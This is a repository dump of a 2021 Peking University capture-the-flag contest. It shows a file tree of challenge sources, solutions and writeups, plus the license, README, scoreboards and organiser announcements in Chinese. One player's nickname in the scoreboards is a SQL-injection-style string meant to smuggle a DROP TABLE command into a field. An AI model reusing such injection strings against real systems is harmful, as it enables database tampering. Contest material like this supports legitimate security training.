├── LICENSE
├── README.md
├── data
├── all_firstblood.tsv
├── all_scoreboard.tsv
├── announcements.csv
├── pku_firstblood.tsv
└── pku_scoreboard.tsv
├── problemset
├── README.md
└── attachment
│ ├── decoder.zip
│ ├── dh.zip
│ ├── gifcode.zip
│ ├── huffman.zip
│ ├── qiantui.zip
│ ├── rop.zip
│ ├── toctou.zip
│ ├── wasm.zip
│ └── zipquine.zip
├── src
├── bank
│ ├── Dockerfile
│ ├── requirements.txt
│ ├── static
│ │ ├── main.js
│ │ ├── toastr.min.css
│ │ └── toastr.min.js
│ ├── templates
│ │ └── index.html
│ └── web.py
├── choice
│ ├── Dockerfile
│ └── game
│ │ ├── app.py
│ │ ├── db.py
│ │ ├── db
│ │ ├── db.sqlite
│ │ └── problemset.json
│ │ ├── flag.py
│ │ ├── requirements.txt
│ │ └── templates
│ │ ├── index.html
│ │ └── token.html
├── decoder
│ ├── Dockerfile
│ ├── decoder
│ ├── decoder.c
│ ├── decoder.py
│ ├── decoder.xinetd
│ ├── flag.txt
│ └── verify.py
├── dh
│ ├── CA.py
│ ├── CA_sec.py
│ ├── Dockerfile
│ ├── flag.py
│ ├── requirements.txt
│ ├── run.sh
│ ├── server.py
│ └── sol.py
├── emoji
│ ├── Dockerfile
│ └── game
│ │ ├── app.py
│ │ ├── emojis.pickle
│ │ ├── emojis.txt
│ │ ├── flag.py
│ │ ├── ratelimit.py
│ │ ├── requirements.txt
│ │ └── templates
│ │ ├── index.html
│ │ └── token.html
├── gifcode
│ ├── game
│ │ └── quiz.gif
│ └── src
│ │ ├── flag1.txt
│ │ ├── flag2.txt
│ │ ├── flags.zip
│ │ ├── photo-orig.jpg
│ │ ├── photo.gif
│ │ ├── photo.psd
│ │ ├── qrcode.png
│ │ ├── qrcode_split.psd
│ │ └── zip_pw.txt
├── huffman
│ ├── game
│ │ └── game.ipynb
│ └── src
│ │ ├── game.ipynb
│ │ ├── genflag.ipynb
│ │ ├── table.pickle
│ │ └── text.txt
├── mian
│ ├── Dockerfile
│ ├── check.sh
│ ├── flag.txt
│ ├── mian.py
│ ├── mian.xinetd
│ └── verify.py
├── oracle
│ ├── Dockerfile
│ └── game
│ │ ├── app.py
│ │ ├── flag.py
│ │ ├── requirements.txt
│ │ ├── secret.py
│ │ └── templates
│ │ ├── index.html
│ │ └── query.html
├── proxy
│ ├── Dockerfile
│ ├── max.py
│ ├── maximum
│ │ ├── maximum.css
│ │ ├── maximum.html
│ │ ├── maximum.js
│ │ └── maximum_src.js
│ ├── proxy.py
│ ├── requirements.txt
│ ├── run.sh
│ ├── static
│ │ ├── css
│ │ │ ├── font-awesome.min.css
│ │ │ └── login.css
│ │ ├── favicon.ico
│ │ ├── fonts
│ │ │ └── fontawesome-webfont.woff2
│ │ ├── images
│ │ │ ├── pku_logo_red.png
│ │ │ ├── pku_view_1.jpg
│ │ │ ├── pku_view_10.jpg
│ │ │ ├── pku_view_11.jpg
│ │ │ ├── pku_view_12.jpg
│ │ │ ├── pku_view_2.jpg
│ │ │ ├── pku_view_3.jpg
│ │ │ ├── pku_view_4.jpg
│ │ │ ├── pku_view_5.jpg
│ │ │ ├── pku_view_6.jpg
│ │ │ ├── pku_view_7.jpg
│ │ │ ├── pku_view_8.jpg
│ │ │ └── pku_view_9.jpg
│ │ └── javascript
│ │ │ ├── OAuthLogin.js
│ │ │ ├── OAuthRefresh.js
│ │ │ └── jquery-1.10.2.min.js
│ ├── templates
│ │ └── index.html
│ └── web.py
├── qiantui
│ ├── Dockerfile
│ ├── libc-2.27.so
│ └── pwn
├── quinezip
│ ├── README.TXT
│ ├── flag.txt
│ ├── quine.origin.zip
│ ├── quine.zip
│ ├── quinezip.brief.md
│ └── quinezip.md
├── rop
│ ├── Dockerfile
│ ├── flag.txt
│ ├── libc-2.31.so
│ ├── rop
│ ├── rop.c
│ ├── rop.py
│ ├── rop.xinetd
│ └── verify.py
├── session
│ ├── Dockerfile
│ └── game
│ │ ├── app.py
│ │ ├── flag.py
│ │ ├── requirements.txt
│ │ └── templates
│ │ └── index.html
├── signin
│ ├── game
│ │ └── quiz.txt
│ └── src
│ │ └── gen.py
├── toctou
│ ├── Dockerfile
│ ├── comm.py
│ ├── service.cpython-38.pyc
│ ├── service.py
│ ├── store.xinetd
│ └── verify.py
└── wasm
│ ├── asm.txt
│ ├── dc
│ ├── dc.cpp
│ ├── info.txt
│ ├── make.py
│ ├── mid.js
│ ├── mid.wasm
│ ├── origin.cpp
│ ├── runner.py
│ ├── sol.py
│ ├── sol2
│ ├── c.c
│ ├── c.h
│ ├── c.o
│ ├── final.wasm
│ ├── fromida.c
│ ├── towabt.txt
│ └── wasm-rt.h
│ ├── src.wabt.txt
│ ├── test.html
│ └── test.py
└── writeups
├── README.md
├── player-DF4D0155
├── 2021-05-23-12-12-30.png
├── 2021-05-23-12-13-05.png
├── 2021-05-23-12-25-29.png
├── 2021-05-23-12-36-40.png
├── 2021-05-23-12-44-14.png
├── 2021-05-23-12-49-59.png
├── 2021-05-23-12-51-05.png
├── 2021-05-23-12-59-43.png
├── 2021-05-23-13-01-29.png
├── 2021-05-23-13-05-58.png
├── 2021-05-23-13-08-11.png
├── 2021-05-23-13-10-09.png
├── 2021-05-23-13-19-16.png
├── 2021-05-23-13-23-42.png
├── 2021-05-23-13-37-05.png
├── 2021-05-23-13-38-56.png
├── 2021-05-23-13-41-13.png
├── 2021-05-23-14-02-13.png
├── 2021-05-24-00-22-33.png
├── 2021-05-24-14-46-36.png
├── 2021-05-24-20-34-04.jpg
├── code.7z
├── writeup.md
└── writeup.pdf
├── player-Hotarubi
├── code.7z
├── writeup.md
└── writeup.pdf
├── player-Sui
├── code.7z
├── writeup.md
└── writeup.pdf
├── player-lrh2000
└── writeup.pdf
├── player-sAy
├── code.7z
└── writeup.pdf
├── player-zhangboyang
├── code.7z
├── writeup.pdf
└── writeup.ppt
├── wp-cheshire_cat
├── code.7z
├── wp-cheshire_cat.html
└── wp-cheshire_cat.md
├── wp-liangjs
├── dec_maxlen.png
├── qiantui1.png
├── qiantui2.png
├── qiantui3.png
├── toctou1.png
├── toctou2.png
├── wp-liangjs.html
└── wp-liangjs.md
├── wp-ranwen
├── img1.png
├── img2.png
├── img3.png
├── img4.png
├── wp-ranwen.html
└── wp-ranwen.md
└── wp-xmcp
├── assets
├── image-20210519214233216.png
├── image-20210519232528540.png
├── image-20210519233756776.png
├── image-20210519234112707.png
├── image-20210519234926241.png
├── image-20210519235145625.png
├── image-20210519235313720.png
├── image-20210519235458611.png
├── image-20210519235620123.png
├── image-20210519235817301.png
├── image-20210520000222448.png
├── image-20210520001623429.png
├── image-20210520001830410.png
├── image-20210520003452227.png
├── image-20210520004006661.png
├── image-20210520162015117.png
├── image-20210520165522626.png
├── image-20210520170258329.png
├── image-20210520170426443.png
├── image-20210521010302331.png
├── image-20210523122358768.png
├── image-20210523122558971.png
├── image-20210523123610558.png
├── image-20210523135041752.png
├── image-20210523144658149.png
├── image-20210523232552191.png
├── image-20210523234131388.png
└── image-20210524154203240.png
├── wp-xmcp.html
└── wp-xmcp.md
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2021, Linux Club of Peking University
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | 1. Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | 2. Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | 3. Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 0th PKU GeekGame · Genesis
2 |
3 | 第零届北京大学信息安全综合能力竞赛
4 |
5 | 2021.5.16 ~ 2021.5.23
6 |
7 | by PKUGGG Team
8 |
9 | 主页:[geekgame.pku.edu.cn](https://geekgame.pku.edu.cn/)
10 |
11 |
12 |
13 | ## 比赛资料汇总
14 |
15 | - [problemset](problemset/):题面
16 | - [writeups](writeups/):命题人和选手 Writeup
17 | - [src](src/):题目源码
18 | - [data](data/):排行榜和比赛公告
19 |
20 |
21 |
22 | ## License
23 |
24 | 题面采用 [知识共享署名-非商业性使用 4.0 国际许可协议(CC BY-NC 4.0)](http://creativecommons.org/licenses/by-nc/4.0/) 进行许可。
25 |
26 | Writeup 的许可方式见 [writeups](writeups/) 目录下的说明。
27 |
28 | 题目源码采用 [BSD 许可协议](https://opensource.org/licenses/BSD-3-Clause) 进行许可。
29 |
30 | 排行榜和比赛公告不允许未授权使用。
31 |
32 |
--------------------------------------------------------------------------------
/data/all_firstblood.tsv:
--------------------------------------------------------------------------------
1 | 题目 一血获得者 组别 提交时间
2 | →签到← zz 北京大学 2021/5/16 12:02
3 | 主的替代品 debugger 北京大学 2021/5/16 12:05
4 | 小北问答 1202 Jesse 北京大学 2021/5/16 15:24
5 | 小北问答 1202 / 答对5道 UltraSB 北京大学 2021/5/16 13:16
6 | 小北问答 1202 / 全部答对 Jesse 北京大学 2021/5/16 15:24
7 | 与佛论禅网大会员 DF4D0155 北京大学 2021/5/18 19:13
8 | 与佛论禅网大会员 / Flag 1 ker 北京大学 2021/5/18 18:02
9 | 与佛论禅网大会员 / Flag 2 DF4D0155 北京大学 2021/5/18 19:13
10 | 2038 年的银行 debugger 北京大学 2021/5/17 18:15
11 | 人类行为研究实验 ddadaal 北京大学 2021/5/16 13:30
12 | 人类行为研究实验 / 完成实验 zz 北京大学 2021/5/16 12:12
13 | 人类行为研究实验 / 上传成绩 ddadaal 北京大学 2021/5/16 13:30
14 | 人生苦短 zz 北京大学 2021/5/18 18:55
15 | 千年讲堂的方形轮子 北大韩商言 其他选手 2021/5/16 16:34
16 | 千年讲堂的方形轮子 / 攻破You酱的系统 北大韩商言 其他选手 2021/5/16 14:34
17 | 千年讲堂的方形轮子 / 攻破“修复”后的系统 北大韩商言 其他选手 2021/5/16 16:34
18 | 皮浪的解码器 lrh2000 北京大学 2021/5/16 18:28
19 | 弗拉梅尔的宝石商店 sAy');DROP TABL p;-- 北京大学 2021/5/18 21:13
20 | 未来的机器 sAy');DROP TABL p;-- 北京大学 2021/5/16 17:51
21 | 庄子的回文 littleTT 其他选手 2021/5/17 22:15
22 | 无法预料的问答 qqqrq 北京大学 2021/5/17 18:44
23 | 安全的密钥交换 A-SOUL我们鸟巢见! 北京大学 2021/5/18 19:49
24 | 安全的密钥交换 / 安全的密钥 A-SOUL我们鸟巢见! 北京大学 2021/5/18 19:26
25 | 安全的密钥交换 / 安全的交换 A-SOUL我们鸟巢见! 北京大学 2021/5/18 19:49
26 | 计算概论B littleTT 其他选手 2021/5/17 18:51
27 | 巴别压缩包 Xzonn 北京大学 2021/5/16 20:58
28 | ←签退→ lrh2000 北京大学 2021/5/18 14:32
29 |
--------------------------------------------------------------------------------
/data/all_scoreboard.tsv:
--------------------------------------------------------------------------------
1 | 名次 昵称 组别 总分 最后提交时间
2 | 1 lrh2000 北京大学 4306 2021/5/21 12:41
3 | 2 zhangboyang 北京大学 4306 2021/5/22 3:48
4 | 3 qqqrq 北京大学 3724 2021/5/20 9:50
5 | 4 孙译喆 北京大学 3724 2021/5/21 10:30
6 | 5 sAy');DROP TABL p;-- 北京大学 3724 2021/5/21 23:04
7 | 6 Ferric 北京大学 3724 2021/5/22 15:33
8 | 7 You酱 工作人员 3724 2021/5/23 0:07
9 | 8 pkuGenuine 北京大学 3632 2021/5/23 9:51
10 | 9 雪舞冰夜 北京大学 3467 2021/5/21 1:40
11 | 10 jahoo 北京大学 3467 2021/5/22 21:44
12 | 11 liuyh 北京大学 3467 2021/5/23 0:48
13 | 12 DF4D0155 北京大学 3419 2021/5/23 5:16
14 | 13 littleTT 其他选手 3185 2021/5/19 19:35
15 | 14 欢迎参加今年十月份中科大第八届信安大赛 其他选手 3059 2021/5/18 23:30
16 | 15 debugger 北京大学 2931 2021/5/21 23:07
17 | 16 panoid 北京大学 2754 2021/5/23 6:03
18 | 17 cyag 北京大学 2754 2021/5/23 11:51
19 | 18 kuner 北京大学 2654 2021/5/23 7:15
20 | 19 Thecats 北京大学 2566 2021/5/21 23:33
21 | 20 lucifer1004 北京大学 2535 2021/5/23 9:53
22 | 21 wwzzj 北京大学 2520 2021/5/23 1:37
23 | 22 Xzonn 北京大学 2448 2021/5/22 14:56
24 | 23 Sui 北京大学 2418 2021/5/22 18:21
25 | 24 Metacinnabar 北京大学 2325 2021/5/23 6:10
26 | 25 oz 北京大学 2312 2021/5/23 11:59
27 | 26 000lbh 北京大学 2285 2021/5/23 8:52
28 | 27 user055 北京大学 2196 2021/5/23 10:07
29 | 28 黄白猫猫 北京大学 2143 2021/5/22 0:43
30 | 29 RannRu 北京大学 2143 2021/5/22 18:06
31 | 30 Hotarubi 北京大学 2143 2021/5/23 10:39
32 | 31 zz 北京大学 2102 2021/5/18 19:03
33 | 32 weiguan 北京大学 2072 2021/5/22 13:03
34 | 33 yc 北京大学 2050 2021/5/22 22:58
35 | 34 rlyown 北京大学 2005 2021/5/23 1:43
36 | 35 marvin 北京大学 1882 2021/5/22 23:12
37 | 36 白白白 北京大学 1812 2021/5/19 10:14
38 | 37 OriSteve 北京大学 1781 2021/5/22 23:07
39 | 38 zyx 北京大学 1740 2021/5/23 2:34
40 | 39 HYLZ 北京大学 1648 2021/5/22 18:21
41 | 40 ddadaal 北京大学 1568 2021/5/21 14:55
42 | 41 求吹学同好 vx: lzhF9AB2Bp 其他选手 1529 2021/5/18 12:55
43 | 42 kingkong 北京大学 1504 2021/5/23 11:56
44 | 43 house_fz 北京大学 1435 2021/5/20 21:10
45 | 44 苏南 北京大学 1394 2021/5/21 20:09
46 | 45 ZZZZ 其他选手 1298 2021/5/21 19:31
47 | 46 USTC doudou 其他选手 1238 2021/5/21 16:06
48 | 47 Antreas 北京大学 1185 2021/5/21 12:14
49 | 48 nautumn 北京大学 1176 2021/5/19 15:50
50 | 49 江户川闰土 北京大学 1176 2021/5/20 18:04
51 | 50 Rainshaw 北京大学 1159 2021/5/20 17:47
52 | 51 ker 北京大学 1045 2021/5/18 19:50
53 | 52 czarja 北京大学 971 2021/5/18 19:54
54 | 53 cheshire_cat 工作人员 933 2021/5/16 21:35
55 | 54 jeffswt 其他选手 917 2021/5/21 10:57
56 | 55 __z01 北京大学 908 2021/5/20 9:50
57 | 56 北大韩商言 其他选手 907 2021/5/18 20:37
58 | 57 Hyper 北京大学 878 2021/5/21 12:36
59 | 58 A-SOUL我们鸟巢见! 北京大学 870 2021/5/18 23:35
60 | 59 zcx 北京大学 851 2021/5/19 14:44
61 | 60 ljcwh 北京大学 784 2021/5/18 18:10
62 | 61 Jesse 北京大学 784 2021/5/19 15:42
63 | 62 trueKeuin 其他选手 782 2021/5/20 11:05
64 | 63 crvv 其他选手 769 2021/5/20 13:20
65 | 64 HNYuuu 北京大学 754 2021/5/22 15:54
66 | 65 hxl 北京大学 732 2021/5/19 21:07
67 | 66 Mella 其他选手 726 2021/5/21 20:29
68 | 67 YipHonsam 北京大学 721 2021/5/20 12:42
69 | 68 yzh182 北京大学 706 2021/5/20 13:55
70 | 69 wwwxxx 北京大学 692 2021/5/20 21:22
71 | 70 josephhuxley 其他选手 653 2021/5/17 23:55
72 | 71 ayer 其他选手 650 2021/5/22 0:15
73 | 72 徐文波 北京大学 636 2021/5/18 0:26
74 | 73 非战斗人员 工作人员 634 2021/5/19 17:18
75 | 74 zyfzyfzyf 北京大学 614 2021/5/18 20:34
76 | 75 vincent163 北京大学 569 2021/5/19 0:04
77 | 76 a 北京大学 568 2021/5/21 18:44
78 | 77 baker221 北京大学 558 2021/5/18 1:24
79 | 78 causality 北京大学 558 2021/5/18 9:05
80 | 79 nee 其他选手 541 2021/5/19 11:22
81 | 80 StupidCat 北京大学 517 2021/5/18 11:10
82 | 81 氢化脱苄苯甲醇 北京大学 517 2021/5/18 21:37
83 | 82 Doublefire.Chen 北京大学 517 2021/5/18 21:38
84 | 83 sigongzi 北京大学 503 2021/5/20 16:16
85 | 84 Spiridempt 北京大学 495 2021/5/18 19:07
86 | 85 toto 北京大学 464 2021/5/21 19:02
87 | 86 Monika 北京大学 443 2021/5/18 18:52
88 | 87 z1nccat 北京大学 439 2021/5/17 7:41
89 | 88 不是在校学生 其他选手 417 2021/5/21 13:23
90 | 89 EagleMD 北京大学 414 2021/5/22 3:31
91 | 90 菜鸟小白 北京大学 403 2021/5/20 13:57
92 | 91 MJ 北京大学 403 2021/5/22 20:15
93 | 92 ranwen 工作人员 402 2021/5/21 19:26
94 | 93 隔壁的 mcfx(orz ranwen 其他选手 395 2021/5/16 21:13
95 | 94 cp 其他选手 392 2021/5/21 11:26
96 | 95 UltraSB 北京大学 387 2021/5/16 17:05
97 | 96 zzjzxh 北京大学 385 2021/5/16 15:00
98 | 97 FlyingPig 北京大学 347 2021/5/16 17:05
99 | 98 cdb 北京大学 341 2021/5/22 11:19
100 | 99 PekXuing 北京大学 330 2021/5/23 11:34
101 | 100 kuroko 北京大学 327 2021/5/18 11:08
102 |
--------------------------------------------------------------------------------
/data/announcements.csv:
--------------------------------------------------------------------------------
1 | 内容,时间
2 | "【闭幕式暨颁奖典礼举行通知】
3 | 首先恭喜大家完成比赛,使首届北京大学信息安全综合能力竞赛比赛圆满成功。竞赛闭幕式暨颁奖典礼将于2021年5月29日(周六)14:00于北京大学图书馆北配楼(科学报告厅)举行,欢迎各位选手届时出席。
4 |
5 | 本次闭幕式预计持续1小时,包括比赛数据展示、领导发言、奖品与纪念品分发等环节。颁奖环节请所有获奖选手务必出席,奖励由获奖学生本人持学生卡领取,为鼓励未获奖的选手积极参与闭幕式,竞赛组委会也为大家精心准备了纪念品一份。
6 |
7 | 注:如有获奖选手因特殊原因无法到场,可请其他同学代为领奖,需提前联系组委会,登记代领者个人信息,并在领奖时持获奖者学生卡原件领取。",2021/5/27 10:06
8 | "【官方Writeup已发布】
9 | 包含出题人和优秀选手Writeup,→立即学习一个←
10 | 比赛平台和题目后端会持续运行到至少期末,题目源码也将在GitHub公开",2021/5/26 0:27
11 | "请比赛排名前35名的选手在周一22:00前提交Markdown或PDF格式的Writeup(解题报告),简要说明每题的思路,可附上脚本和截图等关联材料。Writeup的详细程度以能表明自己独立完成了题目为宜。请在Writeup的开头写上自己的平台Token。
12 | 请将Writeup和所有关联材料打成一个压缩包,用自己的昵称命名,上传到 https://disk.pku.edu.cn/link/B58093BC4B55B13CFE3EB5B1566DFC66
13 | 其他选手如果觉得自己某题思路新颖,可以自愿提交相关的Writeup。我们会公开部分优秀Writeup用于学习交流。如果你希望/不希望自己的Writeup被公开,请在Writeup开头注明。如无注明,组委会将自行决定。
14 | 【欢迎填写比赛反馈问卷】",2021/5/23 11:55
15 | "【问卷调查】
16 | 本届比赛的组委会邀请所有选手填写一份问卷,以便我们在举办后续赛事时进行改进。该问卷自愿填写,和成绩不挂钩。
17 | 填写问卷",2021/5/22 20:07
18 | "【最后4道题目已放出】
19 | 分别是 “与佛论禅网大会员”(Misc)、“人生苦短”(Web)、“弗拉梅尔的宝石商店”(Binary)、“安全的密钥交换”(Algorithm)。后续将不再增加题目。
20 | 另外提醒选手注意保留做题的中间结果,赛后会要求排名靠前的选手提交解题报告(Writeup)。",2021/5/18 18:00
21 | "【新放出了4道题目】
22 | 分别是 “2038 年的银行”(Misc)、“庄子的回文”(Binary)、“无法预料的问答”(Algorithm)、“计算概论B”(Algorithm)。根据赛程安排,周二 18:00 将会放出最后一批题目。",2021/5/17 18:01
23 | "“小北问答 1202” 更新
24 | 题目 #8 有歧义,因为有些顶级域名属于 “not assigned” 状态,它们可以理解为 “可用”,也可理解为 “不可用”,谢谢来自 USTC 的选手指正。两种答案都算正确,已有的提交均已重判,重新访问即可查看更正后的结果。
25 | 另外该题增加了补充说明:“此题考查的是收集和运用信息的能力,解题所需的所有信息都可以在网上公开找到,不需要选手具有特定生活经验。”",2021/5/17 0:09
26 | "【关于Flag格式】
27 | 所有题目的 Flag 都以 “flag{” 开始、“}” 结束,Flag 是大小写敏感和空白符敏感的(即大小写和空格等与答案不一致都会导致flag错误),所有 Flag 都是可打印的纯 ASCII 字符",2021/5/16 12:32
28 | "【关于赛程的补充说明】
29 | 考虑到同学们的时间安排,竞赛将分3批放出题目,分别是比赛开始时(周日12:00)、周一18:00和周二18:00。比赛开始时放出的题目数量约占总数的一半。",2021/5/15 20:24
30 | "【请选手检查自己的用户组是否正确】
31 |
这是北京大学首次举办此类赛事,出于谨慎考虑,本届比赛的报名范围是 “所有具有北京大学统一身份认证平台帐号的选手” 和 “少量特邀选手”,评奖范围仅限 “有北京大学学籍的在校本科生和研究生”。此前有极少数选手被分配到了错误的用户组,现已修正相关问题。请各位点击右上角 个人昵称→“修改信息” 确认自己的身份,如有红色提示说明你不在评奖范围内,如无红色提示则你可以正常参与评奖。若仍有错误情况可以在选手QQ群群向管理员 @Alice_space 反馈,告知自己的学号,我们将进行复查。",2021/5/14 19:43
32 |
--------------------------------------------------------------------------------
/data/pku_firstblood.tsv:
--------------------------------------------------------------------------------
1 | 题目 一血获得者 提交时间
2 | →签到← zz 2021/5/16 12:02
3 | 主的替代品 debugger 2021/5/16 12:05
4 | 小北问答 1202 Jesse 2021/5/16 15:24
5 | 小北问答 1202 / 答对5道 UltraSB 2021/5/16 13:16
6 | 小北问答 1202 / 全部答对 Jesse 2021/5/16 15:24
7 | 与佛论禅网大会员 DF4D0155 2021/5/18 19:13
8 | 与佛论禅网大会员 / Flag 1 ker 2021/5/18 18:02
9 | 与佛论禅网大会员 / Flag 2 DF4D0155 2021/5/18 19:13
10 | 2038 年的银行 debugger 2021/5/17 18:15
11 | 人类行为研究实验 ddadaal 2021/5/16 13:30
12 | 人类行为研究实验 / 完成实验 zz 2021/5/16 12:12
13 | 人类行为研究实验 / 上传成绩 ddadaal 2021/5/16 13:30
14 | 人生苦短 zz 2021/5/18 18:55
15 | 千年讲堂的方形轮子 孙译喆 2021/5/16 18:27
16 | 千年讲堂的方形轮子 / 攻破You酱的系统 zz 2021/5/16 16:12
17 | 千年讲堂的方形轮子 / 攻破“修复”后的系统 孙译喆 2021/5/16 18:27
18 | 皮浪的解码器 lrh2000 2021/5/16 18:28
19 | 弗拉梅尔的宝石商店 sAy');DROP TABL p;-- 2021/5/18 21:13
20 | 未来的机器 sAy');DROP TABL p;-- 2021/5/16 17:51
21 | 庄子的回文 user055 2021/5/18 1:55
22 | 无法预料的问答 qqqrq 2021/5/17 18:44
23 | 安全的密钥交换 A-SOUL我们鸟巢见! 2021/5/18 19:49
24 | 安全的密钥交换 / 安全的密钥 A-SOUL我们鸟巢见! 2021/5/18 19:26
25 | 安全的密钥交换 / 安全的交换 A-SOUL我们鸟巢见! 2021/5/18 19:49
26 | 计算概论B Sui 2021/5/17 19:20
27 | 巴别压缩包 Xzonn 2021/5/16 20:58
28 | ←签退→ lrh2000 2021/5/18 14:32
29 |
--------------------------------------------------------------------------------
/data/pku_scoreboard.tsv:
--------------------------------------------------------------------------------
1 | 名次 昵称 总分 最后提交时间
2 | 1 lrh2000 4306 2021/5/21 12:41
3 | 2 zhangboyang 4306 2021/5/22 3:48
4 | 3 qqqrq 3724 2021/5/20 9:50
5 | 4 孙译喆 3724 2021/5/21 10:30
6 | 5 sAy');DROP TABL p;-- 3724 2021/5/21 23:04
7 | 6 Ferric 3724 2021/5/22 15:33
8 | 7 pkuGenuine 3632 2021/5/23 9:51
9 | 8 雪舞冰夜 3467 2021/5/21 1:40
10 | 9 jahoo 3467 2021/5/22 21:44
11 | 10 liuyh 3467 2021/5/23 0:48
12 | 11 DF4D0155 3419 2021/5/23 5:16
13 | 12 debugger 2931 2021/5/21 23:07
14 | 13 panoid 2754 2021/5/23 6:03
15 | 14 cyag 2754 2021/5/23 11:51
16 | 15 kuner 2654 2021/5/23 7:15
17 | 16 Thecats 2566 2021/5/21 23:33
18 | 17 lucifer1004 2535 2021/5/23 9:53
19 | 18 wwzzj 2520 2021/5/23 1:37
20 | 19 Xzonn 2448 2021/5/22 14:56
21 | 20 Sui 2418 2021/5/22 18:21
22 | 21 Metacinnabar 2325 2021/5/23 6:10
23 | 22 oz 2312 2021/5/23 11:59
24 | 23 000lbh 2285 2021/5/23 8:52
25 | 24 user055 2196 2021/5/23 10:07
26 | 25 黄白猫猫 2143 2021/5/22 0:43
27 | 26 RannRu 2143 2021/5/22 18:06
28 | 27 Hotarubi 2143 2021/5/23 10:39
29 | 28 zz 2102 2021/5/18 19:03
30 | 29 weiguan 2072 2021/5/22 13:03
31 | 30 yc 2050 2021/5/22 22:58
32 | 31 rlyown 2005 2021/5/23 1:43
33 | 32 marvin 1882 2021/5/22 23:12
34 | 33 白白白 1812 2021/5/19 10:14
35 | 34 OriSteve 1781 2021/5/22 23:07
36 | 35 zyx 1740 2021/5/23 2:34
37 | 36 HYLZ 1648 2021/5/22 18:21
38 | 37 ddadaal 1568 2021/5/21 14:55
39 | 38 kingkong 1504 2021/5/23 11:56
40 | 39 house_fz 1435 2021/5/20 21:10
41 | 40 苏南 1394 2021/5/21 20:09
42 | 41 Antreas 1185 2021/5/21 12:14
43 | 42 nautumn 1176 2021/5/19 15:50
44 | 43 江户川闰土 1176 2021/5/20 18:04
45 | 44 Rainshaw 1159 2021/5/20 17:47
46 | 45 ker 1045 2021/5/18 19:50
47 | 46 czarja 971 2021/5/18 19:54
48 | 47 __z01 908 2021/5/20 9:50
49 | 48 Hyper 878 2021/5/21 12:36
50 | 49 A-SOUL我们鸟巢见! 870 2021/5/18 23:35
51 | 50 zcx 851 2021/5/19 14:44
52 | 51 ljcwh 784 2021/5/18 18:10
53 | 52 Jesse 784 2021/5/19 15:42
54 | 53 HNYuuu 754 2021/5/22 15:54
55 | 54 hxl 732 2021/5/19 21:07
56 | 55 YipHonsam 721 2021/5/20 12:42
57 | 56 yzh182 706 2021/5/20 13:55
58 | 57 wwwxxx 692 2021/5/20 21:22
59 | 58 徐文波 636 2021/5/18 0:26
60 | 59 zyfzyfzyf 614 2021/5/18 20:34
61 | 60 vincent163 569 2021/5/19 0:04
62 | 61 a 568 2021/5/21 18:44
63 | 62 baker221 558 2021/5/18 1:24
64 | 63 causality 558 2021/5/18 9:05
65 | 64 StupidCat 517 2021/5/18 11:10
66 | 65 氢化脱苄苯甲醇 517 2021/5/18 21:37
67 | 66 Doublefire.Chen 517 2021/5/18 21:38
68 | 67 sigongzi 503 2021/5/20 16:16
69 | 68 Spiridempt 495 2021/5/18 19:07
70 | 69 toto 464 2021/5/21 19:02
71 | 70 Monika 443 2021/5/18 18:52
72 | 71 z1nccat 439 2021/5/17 7:41
73 | 72 EagleMD 414 2021/5/22 3:31
74 | 73 菜鸟小白 403 2021/5/20 13:57
75 | 74 MJ 403 2021/5/22 20:15
76 | 75 UltraSB 387 2021/5/16 17:05
77 | 76 zzjzxh 385 2021/5/16 15:00
78 | 77 FlyingPig 347 2021/5/16 17:05
79 | 78 cdb 341 2021/5/22 11:19
80 | 79 PekXuing 330 2021/5/23 11:34
81 | 80 kuroko 327 2021/5/18 11:08
82 | 81 koorong 322 2021/5/18 23:52
83 | 82 啥都不会凑热闹 322 2021/5/19 19:02
84 | 83 惜一叶 322 2021/5/20 11:05
85 | 84 leo 275 2021/5/18 17:26
86 | 85 zm 275 2021/5/21 17:43
87 | 86 pkuyyg 266 2021/5/16 15:49
88 | 87 Pims 266 2021/5/17 21:03
89 | 88 wwwwwwwvvv 266 2021/5/20 19:51
90 | 89 Melanoheliophobia 251 2021/5/17 23:58
91 | 90 labite 242 2021/5/20 10:42
92 | 91 jasmin3q 238 2021/5/21 19:27
93 | 92 lelema 217 2021/5/22 17:37
94 | 93 Utena 189 2021/5/22 10:46
95 | 94 Charlie 170 2021/5/18 22:54
96 | 95 gwolfs 161 2021/5/16 17:30
97 | 96 Mike 157 2021/5/16 17:22
98 | 97 PhyM 157 2021/5/16 17:29
99 | 98 春分日 157 2021/5/17 20:21
100 | 99 12f23eddde 157 2021/5/18 21:02
101 | 100 wangyunxuan 133 2021/5/16 19:53
102 |
--------------------------------------------------------------------------------
/problemset/attachment/decoder.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/problemset/attachment/decoder.zip
--------------------------------------------------------------------------------
/problemset/attachment/dh.zip:
--------------------------------------------------------------------------------
